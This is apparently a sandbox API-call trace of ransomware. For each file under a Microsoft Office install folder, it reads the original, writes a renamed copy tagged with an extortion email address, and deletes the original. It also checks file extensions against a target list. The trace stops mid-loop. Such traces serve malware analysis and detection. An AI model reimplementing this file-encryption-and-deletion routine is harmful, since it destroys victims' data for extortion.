	[0185.665] CloseHandle (hObject=0x5b0) returned 1
	[0185.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220
	[0185.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.666] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.666] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0185.667] GetLastError () returned 0x0
	[0185.667] ReadFile (in: hFile=0x5b0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xb0ad, lpOverlapped=0x0) returned 1
	[0185.675] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xb0b0, lpOverlapped=0x0) returned 1
	[0185.677] ReadFile (in: hFile=0x5b0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.677] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x102, lpOverlapped=0x0) returned 1
	[0185.677] SetEndOfFile (hFile=0x594) returned 1
	[0185.677] CloseHandle (hObject=0x594) returned 1
	[0185.677] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.677] SetEndOfFile (hFile=0x5b0) returned 1
	[0185.681] CloseHandle (hObject=0x5b0) returned 1
	[0185.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1
	[0185.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.928] lstrlenW (lpString=".doc") returned 4
	[0185.928] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.928] lstrlenW (lpString=".docx") returned 5
	[0185.928] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.928] lstrlenW (lpString=".pdf") returned 4
	[0185.928] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString=".xls") returned 4
	[0185.953] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString=".xlsx") returned 5
	[0185.953] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.953] lstrlenW (lpString=".ppt") returned 4
	[0185.953] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.953] lstrlenW (lpString=".zip") returned 4
	[0185.953] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString=".rar") returned 4
	[0185.953] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString=".bz2") returned 4
	[0185.953] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString=".7z") returned 3
	[0185.953] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.953] lstrlenW (lpString=".dbf") returned 4
	[0185.953] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.953] lstrlenW (lpString=".1cd") returned 4
	[0185.953] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.953] lstrlenW (lpString=".jpg") returned 4
	[0185.953] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.954] lstrlenW (lpString=".doc") returned 4
	[0185.954] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString=".docx") returned 5
	[0185.954] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.954] lstrlenW (lpString=".pdf") returned 4
	[0185.954] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString=".xls") returned 4
	[0185.954] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString=".xlsx") returned 5
	[0185.954] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.954] lstrlenW (lpString=".ppt") returned 4
	[0185.954] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.954] lstrlenW (lpString=".zip") returned 4
	[0185.954] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString=".rar") returned 4
	[0185.954] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString=".bz2") returned 4
	[0185.954] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString=".7z") returned 3
	[0185.954] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.954] lstrlenW (lpString=".dbf") returned 4
	[0185.954] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.955] lstrlenW (lpString=".1cd") returned 4
	[0185.955] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0185.955] lstrlenW (lpString=".jpg") returned 4
	[0185.955] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.955] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.955] lstrlenW (lpString="Top Shadow.eftx") returned 15
	[0185.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0185.956] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=56944) returned 1
	[0185.956] CloseHandle (hObject=0x368) returned 1
	[0185.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220
	[0185.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0185.957] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.957] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.958] GetLastError () returned 0x0
	[0185.958] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xde70, lpOverlapped=0x0) returned 1
	[0185.963] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xde80, lpOverlapped=0x0) returned 1
	[0185.965] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.965] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0185.966] SetEndOfFile (hFile=0x5b0) returned 1
	[0185.966] CloseHandle (hObject=0x5b0) returned 1
	[0185.966] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.966] SetEndOfFile (hFile=0x368) returned 1
	[0185.970] CloseHandle (hObject=0x368) returned 1
	[0185.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1
	[0185.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.971] lstrlenW (lpString=".doc") returned 4
	[0185.971] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.971] lstrlenW (lpString=".docx") returned 5
	[0185.971] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.971] lstrlenW (lpString=".pdf") returned 4
	[0185.972] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString=".xls") returned 4
	[0185.972] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString=".xlsx") returned 5
	[0185.972] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.972] lstrlenW (lpString=".ppt") returned 4
	[0185.972] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.972] lstrlenW (lpString=".zip") returned 4
	[0185.972] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString=".rar") returned 4
	[0185.972] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString=".bz2") returned 4
	[0185.972] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString=".7z") returned 3
	[0185.972] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.972] lstrlenW (lpString=".dbf") returned 4
	[0185.972] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.972] lstrlenW (lpString=".1cd") returned 4
	[0185.972] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.972] lstrlenW (lpString=".jpg") returned 4
	[0185.972] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.972] lstrlenW (lpString=".doc") returned 4
	[0185.973] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString=".docx") returned 5
	[0185.973] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.973] lstrlenW (lpString=".pdf") returned 4
	[0185.973] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString=".xls") returned 4
	[0185.973] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString=".xlsx") returned 5
	[0185.973] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.973] lstrlenW (lpString=".ppt") returned 4
	[0185.973] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.973] lstrlenW (lpString=".zip") returned 4
	[0185.973] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString=".rar") returned 4
	[0185.973] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString=".bz2") returned 4
	[0185.973] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString=".7z") returned 3
	[0185.973] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.973] lstrlenW (lpString=".dbf") returned 4
	[0185.973] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.973] lstrlenW (lpString=".1cd") returned 4
	[0185.973] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0185.973] lstrlenW (lpString=".jpg") returned 4
	[0185.973] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.974] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0185.974] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0185.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0185.978] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=18624) returned 1
	[0185.978] CloseHandle (hObject=0x368) returned 1
	[0185.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0185.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0185.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.978] lstrlenW (lpString=".doc") returned 4
	[0185.978] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0185.978] lstrlenW (lpString=".docx") returned 5
	[0185.978] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0185.979] lstrlenW (lpString=".pdf") returned 4
	[0185.979] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0185.979] lstrlenW (lpString=".xls") returned 4
	[0185.979] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0185.979] lstrlenW (lpString=".xlsx") returned 5
	[0185.979] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0185.979] lstrlenW (lpString=".ppt") returned 4
	[0185.979] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0185.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.979] lstrlenW (lpString=".zip") returned 4
	[0185.979] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0185.979] lstrlenW (lpString=".rar") returned 4
	[0185.979] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0185.979] lstrlenW (lpString=".bz2") returned 4
	[0185.979] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0185.979] lstrlenW (lpString=".7z") returned 3
	[0185.979] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0185.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.979] lstrlenW (lpString=".dbf") returned 4
	[0185.979] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0185.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.979] lstrlenW (lpString=".1cd") returned 4
	[0185.979] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0185.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.979] lstrlenW (lpString=".jpg") returned 4
	[0185.979] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0185.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.979] lstrlenW (lpString=".doc") returned 4
	[0185.980] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0185.980] lstrlenW (lpString=".docx") returned 5
	[0185.980] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0185.980] lstrlenW (lpString=".pdf") returned 4
	[0185.980] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0185.980] lstrlenW (lpString=".xls") returned 4
	[0185.980] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0185.980] lstrlenW (lpString=".xlsx") returned 5
	[0185.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0185.980] lstrlenW (lpString=".ppt") returned 4
	[0185.980] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0185.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.980] lstrlenW (lpString=".zip") returned 4
	[0185.980] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0185.980] lstrlenW (lpString=".rar") returned 4
	[0185.980] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0185.980] lstrlenW (lpString=".bz2") returned 4
	[0185.980] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0185.980] lstrlenW (lpString=".7z") returned 3
	[0185.980] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0185.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.980] lstrlenW (lpString=".dbf") returned 4
	[0185.980] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0185.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.980] lstrlenW (lpString=".1cd") returned 4
	[0185.980] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0185.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0185.980] lstrlenW (lpString=".jpg") returned 4
	[0185.980] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0185.981] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0185.981] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0185.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0185.982] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=18624) returned 1
	[0185.982] CloseHandle (hObject=0x368) returned 1
	[0185.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0185.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0185.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.982] lstrlenW (lpString=".doc") returned 4
	[0185.982] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0185.982] lstrlenW (lpString=".docx") returned 5
	[0185.982] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0185.982] lstrlenW (lpString=".pdf") returned 4
	[0185.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0185.982] lstrlenW (lpString=".xls") returned 4
	[0185.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0185.982] lstrlenW (lpString=".xlsx") returned 5
	[0185.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0185.982] lstrlenW (lpString=".ppt") returned 4
	[0185.983] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.983] lstrlenW (lpString=".zip") returned 4
	[0185.983] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0185.983] lstrlenW (lpString=".rar") returned 4
